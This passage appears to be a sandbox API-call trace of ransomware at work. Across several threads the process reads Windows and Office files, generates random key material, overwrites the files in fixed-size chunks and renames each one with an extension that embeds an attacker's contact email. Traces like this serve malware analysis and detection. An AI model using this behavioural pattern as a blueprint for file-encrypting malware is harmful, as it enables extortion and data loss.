	[0088.704] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.706] WriteFile (in: hFile=0x1bc0, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2bebfc9c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e3a4d0
	[0088.708] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.708] WriteFile (in: hFile=0x1bc0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2bebfd1c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bebfd1c*=0x10d, lpOverlapped=0x0) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e39fc8) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a4d0) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.710] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm"
	[0088.710] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bebfcd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.710] NtQueryInformationFile (in: FileHandle=0x1bc0, IoStatusBlock=0x2bebfce0, FileInformation=0x2bebfcb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bebfce0, FileInformation=0x2bebfcb8) returned 0x0
	[0088.710] NtSetInformationFile (FileHandle=0x1bc0, IoStatusBlock=0x2bebfce0, FileInformation=0x2bebfcb8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.711] FlushFileBuffers (hFile=0x1bc0) returned 1
	[0093.258] CloseHandle (hObject=0x1bc0) 

Thread:
	id = 1269
	os_tid = 0x2010

	[0088.704] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man")) returned 0x20
	[0088.707] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", dwFileAttributes=0x20) returned 1
	[0088.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc4
	[0088.711] GetFileSizeEx (in: hFile=0x1bc4, lpFileSize=0x2bf3fab4 | out: lpFileSize=0x2bf3fab4*=282147) returned 1
	[0088.712] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x44e1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.712] ReadFile (in: hFile=0x1bc4, lpBuffer=0x2bf3fa38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bf3fa34, lpOverlapped=0x0 | out: lpBuffer=0x2bf3fa38*, lpNumberOfBytesRead=0x2bf3fa34*=0x4, lpOverlapped=0x0) returned 1
	[0088.713] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.713] NtQuerySystemTime (in: CurrentTime=0x2bf3fa14 | out: CurrentTime=0x2bf3fa14*=132251868154444915) returned 0x0
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xb3d958bc
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x599efdef
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x9e0bb7cf
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x930b924
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x5d9ea14d
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x9b2f55c1
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x802d58da
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x1eb102d
	[0088.713] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xfad0d806
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x279cf6d2
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xee81e691
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xf38461a0
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xde25aa3
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x71a15486
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x4f98207e
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x2d713216
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x7bb2895c
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x8b959617
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x83092f6
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xf4204d92
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x57c4487d
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xd701f074
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xe81a557c
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xa78ff9c1
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x59a67794
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xe8f37475
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x344df862
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x9e2df007
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x915cfcb0
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x714dee2f
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0x37facc43
	[0088.714] RtlRandom (in: Seed=0x2bf3fa20 | out: Seed=0x2bf3fa20) returned 0xc7913f0f
	[0088.722] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.722] ReadFile (in: hFile=0x1bc4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.726] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.728] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.728] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.728] WriteFile (in: hFile=0x1bc4, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.739] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.739] ReadFile (in: hFile=0x1bc4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.742] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0088.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0088.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0088.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0088.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0088.744] WriteFile (in: hFile=0x1bc4, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.746] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x38623, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.746] ReadFile (in: hFile=0x1bc4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.749] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x38623, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0088.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0088.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0088.751] WriteFile (in: hFile=0x1bc4, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bf3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2bf3f9cc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0088.752] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.752] WriteFile (in: hFile=0x1bc4, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x2bf3fa74, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bf3fa74*=0x151, lpOverlapped=0x0) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a508) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a4d0) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481c340
	[0088.754] wcscpy (in: _Dest=0x481c340, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man"
	[0088.754] wcscat (in: _Dest=0x481c340, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.754] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bf3fa2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4772520
	[0088.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0088.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500c788) returned 1
	[0088.755] NtQueryInformationFile (in: FileHandle=0x1bc4, IoStatusBlock=0x2bf3fa38, FileInformation=0x2bf3fa10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bf3fa38, FileInformation=0x2bf3fa10) returned 0x0
	[0088.755] NtSetInformationFile (FileHandle=0x1bc4, IoStatusBlock=0x2bf3fa38, FileInformation=0x2bf3fa10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481c340) returned 1
	[0088.756] FlushFileBuffers (hFile=0x1bc4) returned 1
	[0093.259] CloseHandle (hObject=0x1bc4) 

Thread:
	id = 1270
	os_tid = 0x2014

	[0088.723] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x20
	[0088.724] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.724] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc8
	[0088.724] GetFileSizeEx (in: hFile=0x1bc8, lpFileSize=0x2bfbfed4 | out: lpFileSize=0x2bfbfed4*=37360) returned 1
	[0088.724] SetFilePointerEx (in: hFile=0x1bc8, liDistanceToMove=0x91ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.724] ReadFile (in: hFile=0x1bc8, lpBuffer=0x2bfbfe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bfbfe54, lpOverlapped=0x0 | out: lpBuffer=0x2bfbfe58*, lpNumberOfBytesRead=0x2bfbfe54*=0x4, lpOverlapped=0x0) returned 1
	[0088.729] SetFilePointerEx (in: hFile=0x1bc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.729] NtQuerySystemTime (in: CurrentTime=0x2bfbfe34 | out: CurrentTime=0x2bfbfe34*=132251868154600545) returned 0x0
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x83cda58f
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xd57946e0
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x609f180d
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x1b026808
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xd7b5b967
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xbac92326
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xceb4e542
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x27d5225e
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x1306dc35
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xe98b4324
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xd4bab5c8
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xec892768
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x779d968
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x442d3eda
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x37cab7d6
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x5abd16b2
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x34e6bc63
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x69ad68c7
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x951f6e81
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xa51c7b7c
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xab8ce4ba
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x4228b856
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x16107bf6
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xdc641504
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x1af7ffb1
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xbc81e410
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x63219f65
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x60172efc
	[0088.729] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xa780e628
	[0088.730] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x806311c6
	[0088.730] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0x9fd26b6b
	[0088.730] RtlRandom (in: Seed=0x2bfbfe40 | out: Seed=0x2bfbfe40) returned 0xd2e2682d
	[0088.739] ReadFile (in: hFile=0x1bc8, lpBuffer=0x503e840, nNumberOfBytesToRead=0x91f0, lpNumberOfBytesRead=0x2bfbfe30, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2bfbfe30*=0x91f0, lpOverlapped=0x0) returned 1
